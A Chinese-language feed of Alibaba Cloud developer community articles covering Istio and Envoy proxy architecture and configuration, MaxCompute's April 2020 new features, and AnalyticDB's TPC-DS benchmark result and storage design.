                  Istio Citadel 安全功能提供强大的身份验证功能、强大的策略、透明的 TLS 加密以及用于保护服务和数据的身份验证、授权和审计(AAA)工具,Envoy 可以终止或向网格中的服务发起 TLS 流量。为此,Citadel 需要支持创建、签署和轮换证书。Istio Citadel 提供特定于应用程序的证书,可用于建立双向 TLS 以保护服务之间的流量。
                  image.png

                  借助 Istio Citadel,确保只能从经过严格身份验证和授权的客户端访问包含敏感数据的服务。Citadel 通过内置身份和凭证管理提供了强大的服务间和最终用户身份验证。可用于升级服务网格中未加密的流量,并为运维人员提供基于服务标识而不是网络控制的强制执行策略的能力。Istio 的配置策略在服务器端配置平台身份验证,但不在客户端强制实施该策略,同时允许你指定服务的身份验证要求。Istio 的密钥管理系统可自动生成、分发、轮换与撤销密钥和证书。

                  Istio RBAC 为 Istio 网格中的服务提供命名空间级别、服务级别和方法级别的访问权限控制,包括易于使用的基于角色的语义、服务到服务和最终用户到服务的授权,并在角色和角色绑定方面提供灵活的自定义属性支持。

                  Istio 可以增强微服务及其通信(包括服务到服务和最终用户到服务的通信)的安全性,且不需要更改服务代码。它为每个服务提供基于角色的强大身份机制,以实现跨集群、跨云端的交互操作。

                  4. Galley

                  Galley 用于验证用户编写的 Istio API 配置。随着时间的推移,Galley 将接管 Istio 获取配置、处理和分配组件的顶级责任。它负责将其他的 Istio 组件与从底层平台(例如 Kubernetes)获取用户配置的细节中隔离开来。

                  总而言之,通过 Pilot,Istio 可在部署规模逐步扩大的过程中帮助你简化流量管理。通过 Mixer,借助强健且易于使用的监控功能,能够快速有效地检测和修复问题。通过 Citadel,减轻安全负担,让开发者可以专注于其他关键任务。

                  Istio 的架构设计中有几个关键目标,这些目标对于系统应对大规模流量和高性能的服务处理至关重要。

                  • 最大化透明度:要采用 Istio,应该让运维和开发人员只需付出很少的代价就可以从中获得实际价值。为此,Istio 将自身自动注入到服务间所有的网络路径中。Istio 使用 Envoy 代理来捕获流量,并且在可能的情况下自动对网络层进行编程,以便通过这些代理路由流量,而无需对已部署的应用程序代码进行太多的更改,甚至不需要任何更改。在 Kubernetes 中,Envoy 代理被注入到 pod 中,通过 iptables 规则来捕获流量。一旦注入 Envoy 代理到 pod 中并且修改路由规则,Istio 就能够调节所有流量。这个原则也适用于性能。当将 Istio 用于部署时,运维人员可以发现,为提供这些功能而增加的资源开销是很小的。所有组件和 API 在设计时都必须考虑性能和规模。
                  • 可扩展性:随着运维人员和开发人员越来越依赖 Istio 提供的功能,系统必然和他们的需求一起成长。在我们继续添加新功能的同时,最需要的是能够扩展策略系统,集成其他策略和控制来源,并将网格行为信号传播到其他系统进行分析。策略运行时支持标准扩展机制以便插入到其他服务中。此外,它允许扩展词汇表,以允许基于网格生成的新信号来强制执行策略。
                  • 可移植性:使用 Istio 的生态系统在很多方面都有所不同。Istio 必须能够以最少的代价运行在任何云或本地环境中。将基于 Istio 的服务移植到新环境应该是轻而易举的,而使用 Istio 将一个服务同时部署到多个环境中也是可行的,例如可以在混合云上部署以实现冗余灾备。
                  • 策略一致性:策略应用于服务之间的 API 调用,可以很好地控制网格行为。但对于无需在 API 级别表达的资源来说,对资源应用策略也同样重要。例如,将配额应用到机器学习训练任务消耗的 CPU 数量上,比将配额应用到启动这个工作的调用上更为有用。因此,Istio 将策略系统维护为具有自己的 API 的独特服务,而不是将其放到代理中,这允许服务根据需要直接与其集成。

                  剖析 Istio 数据平面

                  当介绍服务网格的概念时,提到了服务代理的概念以及如何使用代理构建一个服务网格,以调节和控制微服务之间的所有网络通信。Istio 使用 Envoy 代理作为默认的开箱即用服务代理,这些 Envoy 代理与参与服务网格的所有应用程序实例一起运行,但不在同一个容器进程中,形成了服务网格的数据平面。只要应用程序想要与其他服务通信,就会通过服务代理 Envoy 进行。由此可见,Envoy 代理是数据平面和整个服务网格架构中的关键组成部分。

                  1. Envoy 代理

                  Envoy 最初是由 Lyft 开发的,用于解决构建分布式系统时出现的一些复杂的网络问题。它于 2016 年 9 月作为开源项目提供,一年后加入了云原生计算基金会(CNCF)。Envoy 是用 C++ 语言实现的,具有很高的性能,更重要的是,它在高负载运行时也非常稳定和可靠。网络对应用程序来说应该是透明的,当网络和应用程序出现问题时,应该很容易确定问题的根源。正是基于这样的一种设计理念,将 Envoy 设计为一个面向服务架构的七层代理和通信总线。

                  为了更好地理解 Envoy,我们需要先搞清楚相关的几个基本术语:

                  • 进程外(Out of Process)架构:Envoy 是一个独立进程,Envoy 之间形成一个透明的通信网格,每个应用程序发送消息到本地主机或从本地主机接收消息,但无需关心网络拓扑。
                  • 单进程多线程模型:Envoy 使用了单进程多线程的架构模型。一个主线程管理各种琐碎的任务,而一些工作子线程则负责执行监听、过滤和转发功能。
                  • 下游(Downstream):连接到 Envoy 并发送请求、接收响应的主机叫下游主机,也就是说下游主机代表的是发送请求的主机。
                  • 上游(Upstream):与下游相对,接收请求的主机叫上游主机。
                  • 监听器(Listener):监听器是命名网络地址,包括端口、unix domain socket 等,可以被下游主机连接。Envoy 暴露一个或者多个监听器给下游主机连接。每个监听器都独立配置一些网络级别(即三层或四层)的过滤器。当监听器接收到新连接时,配置好的本地过滤器将被实例化,并开始处理后续事件。一般来说监听器架构用于执行绝大多数不同的代理任务,例如限速、TLS 客户端认证、HTTP 连接管理、MongoDB sniff?ing、原始 TCP 代理等。
                  • 集群(Cluster):集群是指 Envoy 连接的一组逻辑相同的上游主机。
                  • xDS 协议:在 Envoy 中 xDS 协议代表的是多个发现服务协议,包括集群发现服务(CDS,
                    Cluster Discovery Service)、监听器发现服务(LDS,Listener Discovery Service)、路由发现服务(RDS,Route Discovery Service)、端点发现服务(EDS,Endpoint Discovery Service),以及密钥发现服务(SDS,Secret Discovery Service)。

                  image.png

                  Envoy 代理有许多功能可用于服务间通信,例如,暴露一个或者多个监听器给下游主机连接,通过端口暴露给外部的应用程序;通过定义路由规则处理监听器中传输的流量,并将该流量定向到目标集群,等等。后续章节会进一步分析这几个发现服务在 Istio 中的角色和作用。

                  在了解了 Envoy 的术语之后,你可能想尽快知道 Envoy 到底起到了什么作用?

                  首先,Envoy 是一种代理,在网络体系架构中扮演着中介的角色,可以为网络中的流量管理添加额外的功能,包括提供安全性、隐私保护或策略等。在服务间调用的场景中,代理可以为客户端隐藏服务后端的拓扑细节,简化交互的复杂性,并保护后端服务不会过载。例如,后端服务实际上是运行的一组相同实例,每个实例能够处理一定量的负载。

                  其次,Envoy 中的集群(Cluster)本质上是指 Envoy 连接到的逻辑上相同的一组上游主机。那么客户端如何知道在与后端服务交互时要使用哪个实例或 IP 地址?Envoy 作为代理起到了路由选择的作用,通过服务发现(SDS,Service Discovery Service),Envoy 代理发现集群中的所有成员,然后通过主动健康检查来确定集群成员的健康状态,并根据健康状态,通过负载均衡策略决定将请求路由到哪个集群成员。而在 Envoy 代理处理跨服务实例的负载均衡过程中,客户端不需要知道实际部署的任何细节。

                  2. Envoy 的启动配置

                  Envoy 目前提供了两个版本的 API,即 v1 和 v2,从 Envoy 1.5.0 起就有 v2 API 了,为了能够让用户顺利地向 v2 版本 API 迁移,Envoy 启动的时候设置了一个参数--v2-conf?ig-only。通过这个参数,可以明确指定 Envoy 使用 v2 API 的协议。幸运的是,v2 API 是 v1 的一个超集,兼容 v1 的 API。在当前的 Istio 1.0 之后的版本中,明确指定了其支持 v2 的 API。通过查看使用 Envoy 作为 Sidecar 代理的容器启动命令,可以看到如下类似的启动参数,其中指定了参数--v2-config-only:

                  $ /usr/local/bin/envoy -c
                  /etc/istio/proxy/envoy-rev0.json --restart-epoch 0 --drain-time-s 45
                  --parent-shutdown-time-s 60 --service-cluster ratings --service-node
                  sidecar~172.33.14.2~ratings-v1-8558d4458d-ld8x9.default~default.svc.cluster.local
                  --max-obj-name-len 189 --allow-unknown-fields -l warn --v2-config-only

                  其中,参数 -c 表示的是基于版本 v2 的引导配置文件的路径,格式为 JSON,也支持其他格式,如 YAML、Proto3等。它会首先作为版本 v2 的引导配置文件进行解析,若解析失败,会根据 [--v2-conf?ig-only] 选项决定是否作为版本 v1 的 JSON 配置文件进行解析。其他参数解释如下,以便读者及时理解 Envoy 代理启动时的配置信息:

                  • restart-epoch 表示热重启周期,对于第一次启动默认为 0,每次热重启后都应该增加它。
                  • service-cluster 定义 Envoy 运行的本地服务集群名称。
                  • service-node 定义 Envoy 运行的本地服务节点名称。
                  • drain-time-s 表示热重启期间 Envoy 将耗尽连接的时间(秒),默认为 600 秒(10 分钟)。通常耗尽时间应小于通过 --parent-shutdown-time-s 选项设置的父进程关闭时间。
                  • parent-shutdown-time-s 表示 Envoy 在热重启时关闭父进程之前等待的时间(秒)。
                  • max-obj-name-len 描述的是集群 cluster、路由配置 route_conf?ig 以及监听器 listener 中名称字段的最大长度,以字节为单位。此选项通常用于自动生成集群名称的场景,通常会超过 60 个字符的内部限制。默认为 60。
                  • Envoy 的启动配置文件分为两种方式:静态配置和动态配置。具体表现为:
                  • 静态配置是将所有信息都放在配置文件中,启动的时候直接加载。
                  • 动态配置需要提供一个 Envoy 的服务端,用于动态生成 Envoy 需要的服务发现接口,也就是通常说的 xDS,通过发现服务来动态调整配置信息,Istio 实现了 v2 的 xDS API。

                  3. Envoy 静态与动态配置

                  Envoy 是由 JSON 或 YAML 格式的配置文件驱动的智能代理,对于已经熟悉 Envoy 或 Envoy 配置的用户来说,相信应该已经知道了 Envoy 的配置也有不同的版本。初始版本 v1 是 Envoy 启动时配置 Envoy 的原始方式。此版本已被弃用,以支持 Envoy 配置的 v2 版本。Envoy 的参考文档(https://www.envoyproxy.io/docs)还提供了明确区分 v1 和 v2 的文档。本文将只关注 v2 配置,因为它是最新的版本,也是 Istio 使用的版本。

                  Envoy 版本 v2 的配置 API 建立在 gRPC 之上,v2 API 的一个重要特性是可以在调用 API 时利用流功能来减少 Envoy 代理汇聚配置所需的时间。实际上,这也消除了轮询 API 的弊端,允许服务器将更新推送到 Envoy 代理,而不是定期轮询代理。

                  Envoy 的架构使得使用不同类型的配置管理方法成为可能。部署中采用的方法将取决于实现者的需求。简单部署可以通过全静态配置来实现,更复杂的部署可以递增地添加更复杂的动态配置。主要分为以下几种情况:

                  • 全静态:在全静态配置中,实现者提供一组监听器和过滤器链、集群和可选的 HTTP 路由配置。动态主机发现仅能通过基于 DNS 的服务发现。配置重载必须通过内置的热重启机制进行。
                  • 仅SDS/EDS:在静态配置之上,Envoy 可以通过该机制发现上游集群中的成员。
                  • SDS/EDS 和 CDS:Envoy 可以通过该机制发现使用的上游集群。
                  • SDS/EDS、CDS 和 RDS:RDS 可以在运行时发现用于 HTTP 连接管理器过滤器的整个路由配置。
                  • SDS/EDS、CDS、RDS 和 LDS:LDS 可以在运行时发现整个监听器。这包括所有的过滤器堆栈,包括带有内嵌到 RDS 的应用的 HTTP 过滤器。

                  静态配置

                  我们可以使用 Envoy 的配置文件指定监听器、路由规则和集群。如下示例提供了一个非常简单的 Envoy 配置:

                  static_resources:
                   
                  listeners:
                   
                  - name: httpbin-demo
                     
                  address:
                       
                  socket_address: { address: 0.0.0.0, port_value: 15001 }
                     
                  filter_chains:
                     
                  - filters:
                       
                  - name: envoy.http_connection_manager
                         
                  config:
                            stat_prefix: egress_http
                            route_config:
                              name: httpbin_local_route
                              virtual_hosts:
                              - name: httpbin_local_service
                                domains: ["*"]
                                routes:
                                - match: { prefix: "/"
                  }
                                  route:
                                    auto_host_rewrite: true
                                    cluster: httpbin_service
                            http_filters:
                            - name: envoy.router
                   
                  clusters:
                     
                  - name: httpbin_service
                       
                  connect_timeout: 5s
                       
                  type: LOGICAL_DNS
                       
                  # Comment out the following line to test on v6 networks
                       
                  dns_lookup_family: V4_ONLY
                       
                  lb_policy: ROUND_ROBIN
                       
                  hosts: [{ socket_address: { address: httpbin, port_value: 8000 }}]

                  在这个简单的 Envoy 配置文件中,我们声明了一个监听器,它在端口 15001 上打开一个套接字并为其附加一个过滤器链。过滤器 http_connection_manager 在 Envoy 配置中使用路由指令(在此示例中看到的简单路由指令是匹配所有虚拟主机的通配符),并将所有流量路由到 httpbin_service 集群。配置的最后一部分定义了 httpbin_service 集群的连接属性。在此示例中,我们指定端点服务发现的类型为 LOGICAL_DNS、与上游 httpbin 服务通信时的负载均衡算法为 ROUND_ROBIN。

                  这是一个简单的配置文件,用于创建监听器传入的流量,并将所有流量路由到 httpbin 集群。它还指定要使用的负载均衡算法的设置以及要使用的连接超时配置。

                  你会注意到很多配置是明确指定的,例如指定了哪些监听器,路由规则是什么,我们可以路由到哪些集群等。这是完全静态配置文件的示例。

                  有关这些参数更多信息的解释,请参阅 Envoy 的文档(www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/service_discovery#logical-dns)。
                  在前面的部分中,我们指出 Envoy 能够动态配置其各种设置。下面将介绍 Envoy 的动态配置以及 Envoy 如何使用 xDS API 进行动态配置。

                  动态配置

                  Envoy 可以利用一组 API 进行配置更新,而无需任何停机或重启。Envoy 只需要一个简单的引导配置文件,该配置文件将配置指向正确的发现服务 API,其余动态配置。Envoy 进行动态配置的 API 通常统称为 xDS 服务,具体包括如下:

                  • 监听器发现服务(LDS):一种允许 Envoy 查询整个监听器的机制,通过调用该 API 可以动态添加、修改或删除已知监听器;每个监听器都必须具有唯一的名称。如果未提供名称,Envoy 将创建一个 UUID。
                  • 路由发现服务(RDS):Envoy 动态获取路由配置的机制,路由配置包括 HTTP 标头修改、虚拟主机以及每个虚拟主机中包含的单个路由规则。每个 HTTP 连接管理器都可以通过 API 独立地获取自身的路由配置。RDS 配置隶属于监听器发现服务 LDS 的一部分,是 LDS 的一个子集,用于指定何时应使用静态和动态配置,以及指定使用哪个路由。
                  • 集群发现服务(CDS):一个可选的 API,Envoy 将调用该 API 来动态获取集群管理成员。Envoy 还将根据 API 响应协调集群管理,根据需要添加、修改或删除已知的集群。在 Envoy 配置中静态定义的任何集群都不能通过 CDS API 进行修改或删除。
                  • 端点发现服务(EDS):一种允许 Envoy 获取集群成员的机制,基于 gRPC 或 RESTJSON 的 API,它是 CDS 的一个子集;集群成员在 Envoy 术语中称为端点(Endpoint)。对于每个集群,Envoy 从发现服务获取端点。EDS 是首选的服务发现机制。
                  • 密钥发现服务(SDS):用于分发证书的 API;SDS 最重要的好处是简化证书管理。如果没有此功能,在 Kubernetes 部署中,必须将证书创建为密钥并挂载到 Envoy 代理容器中。如果证书过期,则需要更新密钥并且需要重新部署代理容器。使用密钥发现服务 SDS,那么 SDS 服务器会将证书推送到所有 Envoy 实例。如果证书过期,服务器只需将新证书推送到 Envoy 实例,Envoy 将立即使用新证书而无需重新部署。
                  • 聚合发现服务(ADS):上述其他 API 的所有更改的序列化流;你可以使用此单个 API 按顺序获取所有更改;ADS 并不是一个实际意义上的 xDS,它提供了一个汇聚的功能,在需要多个同步 xDS 访问的时候,ADS 可以在一个流中完成。
                    配置可以使用上述服务中的一个或其中几个的组合,不必全部使用它们。需要注意的一点是,Envoy 的 xDS API 是建立在最终一致性的前提下,正确的配置最终会收敛。例如,Envoy 最终可能会使用新路由获取RDS的更新,该路由将流量路由到尚未在 CDS 中更新的集群。这意味着,路由可能会引入路由错误,直到更新 CDS。Envoy 引入了聚合发现服务 ADS 来解决这种问题,而 Istio 实现了聚合发现服务 ADS,并使用 ADS 进行代理配置的更改。

                  例如,Envoy 代理要动态发现监听器,可以使用如下配置:

                  dynamic_resources:
                   
                  lds_config:
                     
                  api_config_source:
                       
                  api_type: GRPC
                       
                  grpc_services:
                         
                  - envoy_grpc:
                              cluster_name: xds_cluster
                  clusters:
                  - name: xds_cluster
                   
                  connect_timeout: 0.25s
                   
                  type: STATIC
                   
                  lb_policy: ROUND_ROBIN
                   
                  http2_protocol_options: {}
                   
                  hosts: [{ socket_address: { address: 127.0.0.3, port_value: 5678 }}]

                  通过上面的配置,我们不需要在配置文件中显式配置每个监听器。我们告诉 Envoy 使用 LDS API 在运行时发现正确的监听器配置值。但是,我们需要明确配置一个集群,这个集群就是 LDS API 所在的位置,也就是该示例中定义的集群 xds_cluster。

                  在静态配置的基础上,比较直观地表示出各个发现服务所提供的信息。
                  image.png
                  在静态配置的基础上,比较直观地表示出各个发现服务所提供的信息。

                  本文摘自于《Istio 服务网格解析与实战》,经出版方授权发布。本书由阿里云高级技术专家王夕宁撰写,详细介绍 Istio 的基本原理与开发实战,包含大量精选案例和参考代码可以下载,可快速入门 Istio 开发。Gartner 认为,2020 年服务网格将成为所有领先的容器管理系统的标配技术。本书适合所有对微服务和云原生感兴趣的读者,推荐大家对本书进行深入的阅读。

                  ]]>
                  阿里云 MaxCompute 2020-4 月刊-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 导读

                  【4月新功能】

                  【4月新文档】

                  【新增解决方案】

                  【新增最佳实践】


                  【4月新功能】

                  1. MaxCompute审计日志发布

                  MaxCompute在服务级别自动将您使用MaxCompute所产生的操作日志,实时投递到阿里云审计日志服务ActionTrail中。您可执行历史事件及明细查询和实时行为事件分析,满足您实时审计、问题回溯分析等需求。

                  适用客户
                  MaxCompute公共云客户

                  发布功能
                  MaxCompute审计日志完整地记录您在MaxCompute服务内的各项操作行为,并通过接入阿里云Action Trail服务将MaxCompute用户行为日志实时推送给ActionTrail。您可以在ActionTrail中查看和检索MaxCompute服务的行为日志,同时通过Actrion Trail的投递功能,将日志投递到您的日志服务项目或指定的OSS Bucket中,满足您实时审计、问题回溯分析等需求。

                  查看文档 >>

                  2. MaxCompute管家新版发布

                  更完善的CU资源使用监控、支持历史作业查看、​支持批量作业操作。

                  适用客户
                  MaxCompute公共云客户

                  版本/规格功能

                  1. 增强CU资源的监控管理能力:增加了CU监控指标、支持更灵活的资源组搜索;
                  2. 提升作业查看的易用性:支持运行时和历史作业查看、支持作业与DataWorks节点ID关联;
                  3. 更方便的作业管理操作:支持批量终止作业、支持查看近7天的历史作业操作记录。

                  查看文档 >>


                  3. MaxCompute 支持对按量付费单个SQL作业的消费进行控制

                  MaxCompute支持按量付费的作业消费控制功能,以免在您的计算消费超出预期。

                  适用客户
                  MaxCompute公共云客户

                  发布功能
                  通过flag设置单个SQL作业的消费金额上限,每次执行SQL之前会先做cost sql的操作,检查费用预估是否超出阈值,如果超过,就会cancle掉这个作业,避免费用损失。

                  查看文档 >>


                  4. Policy支持 Grant 方式授权

                  MaxCompute 权限功能升级,支持通过Grant命令方式实现Policy的灵活授权,让您能更高效的完成数据授权。

                  适用客户
                  MaxCompute公共云客户

                  版本/规格功能
                  MaxCompute权限模型中Policy的授权模式支持更灵活的授权,授权服务化升级后,支持通过Grant命令实现Policy的授权能力,使授权操作更加便捷。

                  查看文档 >>


                  5. MaxCompute Mars 支持申请试用

                  MaxCompute Mars 支持申请试用,如需使用,请提交工单进行申请。

                  适用客户
                  MaxCompute公共云客户

                  发布功能
                  Mars 能利用并行和分布式技术,加速 Python 数据科学栈,包括 numpy、pandas 和 scikit-learn。同时,也能轻松与 TensorFlow、PyTorch 和 XGBoost 集成。在 MaxCompute 上使用 Mars,通过简单易用的接口来拉起 Mars 集群,您不需关心集群的安装与维护。通过 MaxCompute 拉起的 Mars,也支持直接读写 MaxCompute 表。

                  查看文档 >>


                  【4月新文档】

                  【新增解决方案】

                  友盟+联合 MaxCompute 发布“U-DOP数据开放”服务,实现友盟域和企业私域数据全面融合。

                  国内领先的第三方全域数据智能服务商友盟+,联合阿里云EB级云数据仓库MaxCompute为企业提供面向分析的,实现友盟域数据与企业私域数据全面融合的自助分析服务“U-DOP数据开放”。该服务通过订阅数据包返还数据到云数据仓库,预置分析模板并结合可视化分析BI工具来快速完成数据分析工作,为企业提供更加灵活的一站式数据分析能力。查看详情 >>


                  【新增最佳实践】

                  阅读往期月刊 >>

                  更多阿里巴巴大数据计算技术交流,欢迎扫码加入“MaxCompute开发者社区”钉钉群。
                  image

                  ]]>
                  自研云原生数据仓库AnalyticDB再破权威评测TPC-DS世界纪录!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 北京时间 2020/5/4 青年节,TPC(全球最知名非盈利的数据管理系统评测基准标准化组织)官网正式上线AnalyticDB TPC-DS成绩,AnalyticDB通过严苛的TPC-DS全流程测试,性能QphDS分数为14895566,性价比分数为0.08CNY,相比较基于Spark深度优化版的前世界纪录性能提升29%并且单位成本仅为其1/3,成为TPC-DS官方榜单上全球性能、性价比双双领先的数据仓库,这是继2019/4/26之后再次获得全球领先的成绩!榜单截图如下,详细榜单请参见:TPC-DS Results
                  image.png
                  随着云时代全面到来,企业数据需求不断变化,从传统的Big Data逐渐向Fast Data演进,主要表现在如下4个方面(部分数据参考Gartner、IDC):

                  • 数据规模爆炸性增长,到2020年全球数据预计会到40ZB,而到2025年还会继续增长4倍以上。

                  • 企业上云速度明显加快,预计到2025年企业50%的数据都是云存储,而企业75%的数据库都运行在云上。

                  • 数据的实时化需求强烈,预计2025年全球数据处理中会有30%是实时数据处理。

                  • 数据智能化趋势明显,随着AI和5G技术的发展,非结构化数据快速增长,到2025年预计80%的数据都是非结构化数据。

                  在数据爆炸性增长、企业全面上云的大背景下,海量数据的存储、处理的性能及性价比是云原生数仓面向未来最核心的关键技术指标之一,TPC官方推出的TPC-DS基准测试是对一个数据仓库从数据导入、查询性能(单并发、多并发)、查询复杂度(覆盖星型模型/雪花模型、复杂Window function支持)、可用性(数据一致、坏盘容错处理等)全方面的严格考核,并需要进行全面严苛的审计,是目前全球衡量一个数据仓库成熟度、竞争力的核心基准测试。

                  AnalyticDB作为云时代的云原生数据仓库,参与TPC-DS基准测试是我们提升自研产品产品化能力、核心技术突破验证的重要过程,也是我们技术走向全球领先的必经之路,这个过程中的核心技术突破正在帮我们的客户提升性能进一步提升实时化进程、大幅降低成本,一起进入数据库与大数据一体化、业务在线化的新时代。

                  1. AnalyticDB介绍

                  AnalyticDB(简称ADB,原ADS) 是阿里巴巴自主研发、唯一经过超大规模以及核心业务验证的PB级实时数据仓库,自2012年第一次在集团发布上线以来,至今已累计迭代发布近百个版本,支撑起集团内的电商、广告、物流、文娱、旅游、风控等众多在线分析业务。AnalyticDB于2014年在阿里云开始正式对外输出,支撑行业既包括传统的大中型企业和政府机构,也包括众多的互联网公司,覆盖外部十几个行业。

                  AnalyticDB MySQL 3.0 (简称ADB 3.0)是在过去8年沉淀的基础上,基于数据库大数据一体化的理念及趋势以及工程上深度打磨出的云原生数仓升级版本。在本次TPC-DS基准测试中,AnalyticDB MySQL 3.0充分展现了出色的云原生技术优势,对比友商有近10倍的巨大优势!

                  2. TPC-DS性能基准介绍

                  TPC (Transaction Processing Performance Council) 是事务性能管理委员会的简称,是最知名的非盈利的数据管理系统评测基准标准化组织,它制定商务应用基准程序(Benchmark)的标准规范、性能和价格度量,并管理测试结果的发布,而TPC Benchmark测试结果是衡量一个数据管理系统性能及性价比的最核心指标之一。

                  TPC-DS基准测试模拟了一个典型的零售行业数据仓库的评测决策支持系统(Decision Support),是数据库界最具挑战的一个测试基准,是TPC-H的升级版,它采用星型、雪花等多维数据模式,测试集包含对大数据集的统计、报表生成、联机查询、数据挖掘等复杂应用,与真实场景非常接近。

                  TPC-DS的难点和挑战主要有:

                  • 数据集规模大,例如事实表store_sales,单表超过280亿行。
                  • 面向真实零售决策场景,SQL非常复杂:覆盖SQL99和2003的核心部分以及OLAP标准;既包含报表类ad-hoc低延时查询,又包含海量数据挖掘高吞吐分析查询。
                  • 测试项多且维度广:既要高性能、高可靠、高可用、高性价比,又要ETL和数据更新的ACID能力。

                  TPC-DS测试流程及数据模型:
                  image.png

                  3. AnalyticDB MySQL 3.0 技术架构

                  AnalyticDB MySQL 3.0 采用云原生架构,计算存储分离、冷热数据分离,支持高吞吐实时写入和数据强一致,兼顾高并发查询和大吞吐批处理的混合负载。
                  image.png
                  第一层是接入层,由Mulit-Master可线性扩展的协调节点构成,主要负责协议层接入、SQL解析和优化、实时写入Sharding、数据调度和查询调度。

                  第二层是计算引擎,具备分布式MPP+DAG融合执行能力,结合智能优化器,可支持高并发和复杂SQL混合负载,同时借助于云原生基础设施,计算节点实现了弹性调度,可根据业务需求做到分钟级甚至秒级扩展,达到了资源的有效利用。

                  第三层是存储引擎,基于Raft协议实现的分布式实时强一致高可用存储引擎,通过数据分片和Multi-Raft实现并行,利用分层存储实现冷热分离降低成本,通过行列存储和智能索引达到极致性能。

                  4. AnalyticDB存储技术

                  4.1 分布式强一致存储

                  AnalyticDB MySQL 3.0 存储完全自主研发,基于Raft协议构建了一套分布式强一致高可靠的轻量级存储架构,可实现高吞吐实时写入,适合极致分析性能场景。AnalyticDB MySQL 3.0存储相比开源HBase、Kudu等在SQL分析性能上有较大优势,并且在实时写入强一致可见、支持ACID方面也是开源ElasticSearch、ClickHouse等所不具备的能力。

                  AnalyticDB存储整体架构如下:

                  image.png
                  AnalyticDB MySQL 3.0是基于数据库的并行数据模型,存储建模亲和MPP计算模型,内部实现为多层并行的架构:

                  • 第一级是集群实例级并行,用户实例被划分为多个存储节点组(Worker Group),每个Worker Group由 N(通常是3,也可以是其他基数)个Worker构成。Worker相当于用户数据节点容器,分组的目标是保证系统大规模扩展时不会出现通信膨胀、也方便系统并行升级和运维。
                  • 第二级是DB并行,用户数据库被切分为N个物理分库(Shard,也叫数据分片),每个Shard是独立的Raft Group以保证数据强一致,多个Shard就形成了multi-raft的并行。Shard是可以是Hash或者Range分区,通常Hash分区可以做数据对齐以避免数据大表JOIN的数据Shuffle;Shard可以在需要的时候在不同Worker Group之间均衡或者迁移,Shard本身也会支持动态分裂和合并。
                  • 第三是表内并行,对于数仓场景的历史数据存储通常有数据分区的概念,例如TPC-DS中store sales就可以根据时间周期分区,数据分区除方便数据生命周期管理外还可以支持查询分区裁剪和DFP,有助于大幅缩小数据计算范围。

                  在TPC-DS基准测试中,通过分布式并行存储架构以及感知存储分布的查询优化和执行引擎紧密配合,整体性能优异。

                  4.2 高性能批量导入

                  数据导入速度是云数仓的基础能力,在TPC-DS中对导入有着极致的性能要求,我们的第一个优化思路是轻量级build(把实时数据转换为全量分区数据称之为build),AnalyticDB MySQL 3.0实现了轻量化的全内存单副本local build,相比之前版本的类MR作业的全量build大幅减少了读写DFS和落盘开销,并且可以充分通过本地化向量指令有效利用CPU提升性能。

                  第二个思路是IO和网络优化,在导入链路上,我们采用DirectIO、Binary化、全流式、异步化、零拷贝等技术大幅提升导入性能。

                  第三个思路是减少数据量,通过Raft 2+1技术(2份数据+1份日志)在保证数据高可靠的前提下将数据量减少1/3, 再通过高性能lz4压缩算法将数据进一步压缩,整体下来数据的读写IO和网络传输开销都得到大幅优化。
                  image.png
                  最终,在TPC-DS 18个节点上可以实现超过5000万/秒 的导入性能。

                  4.3 高吞吐实时更新DML

                  AnalyticDB MySQL 3.0基于Raft实现了高吞吐实时数据更新能力,写入链路通过全异步化、零拷贝、高效编码压缩等实现了出色的性能,在TPC-DS DML测试中,AnalyticDB十几个节点可以做到千万级TPS实时写入更新,并且能够保证线性一致性(写入后立即可查)。在实际生产中,用户写入性能完全可扩展,可以轻松实现亿级TPS的实时写入更新。

                  在TPC-DS中,需要验证数据仓库的数据修改和ACID能力,AnalyticDB MySQL 3.0 支持ETL事务,具备ACID能力(可以完整跑TPC-C事务功能测试),在TPC-DS的DML测试中,存储引擎MVCC能力发挥了巨大的作用:存储引擎通过切分为实时数据(Delta)和分区数据(Main)+ 异步的数据转换(Build)实现了类LSM写优化架构。AnalyticDB实现了Block-level MVCC + 快照隔离,可以保证ETL和数据更新过程中数据的隔离性(可见性)、在坏盘出错时可以保证数据更新原子性。

                  4.4 行列混存和智能索引

                  AnalyticDB MySQL 3.0通过自研的行列混存格式,能够兼顾高筛选率和大吞吐扫描两种场景,相比开源ORCFile的纯列存格式在明细点查上更有优势,而相比Parquet,AnalyticDB MySQL存储格式具有更出色的随机读性能,同时对比业界行存表+列存表两份数据冗余的模式成本更低。在AnalyticDB MySQL中,每个Table都有一个行列存储格式文件,数据被切分成不同的RowGroup,在RowGroup内由列的Block构成,Block内对定长、非定长(Toast)数据的进行有效的编码和压缩,并且支持高效的随机读和顺序读。

                  在TPC-DS 测试中,通过配置合理的存储Block大小(4KB对齐)、数据块预取、源头算子向量读等大幅优化了存储扫描性能;同时,存储上精确的统计信息(min/max/sum/cnt等)一方面可以加速数据过滤(Smart Scan),另一方面还能够为查询优化器提供丰富的Statistics以帮助制定出最优的执行计划。

                  image.png
                  AnalyticDB MySQL的特色之一是自研智能索引框架,支持五种索引类型:字符串类的Invert索引、bitmap索引、数值类的KDTree索引、JSON索引和向量索引;不同类型的索引可以实现列级索引多种条件(交、并、差)任意组合;相比较传统数据的优势是,无需建组合索引(不会引起空间膨胀)、且支持OR/NOT等更多条件的索引下推。为了降低用户使用门槛,AnalyticDB在建表时可以开启一键自动全列索引,查询时通过Index CBO智能动态筛选索引下推,确定下推的索引链会通过谓词计算层进行流式渐进多路归并输出。

                  5. AnalyticDB查询技术

                  AnalyticDB MySQL 3.0 的查询引擎,由自研的查询优化器和查询执行器两个模块组成。它是AnalyticDB MySQL 提供高并发、高吞吐数仓分析能力的重要一环。感知数据特征,深度结合存储引擎的架构,同时支持Reporting、Ad-hoc、ETL数仓分析场景,是其相较于单一计算引擎的核心优势。
                  image.png

                  作为一款分布式云原生实时数仓产品,AnalyticDB MySQL的优化器不仅仅要面临传统优化器所涉及的挑战,例如复杂 Join Reorder 的 NP-hard 问题,代价估算的不确定性问题,还面临在分布式环境下分布式并行计划的新问题。CBO 做为AnalyticDB MySQL 3.0版本最新成果,在 TPC-DS战役中首次开启使用,对于整体计划的调优,起到了非常重要的作用。

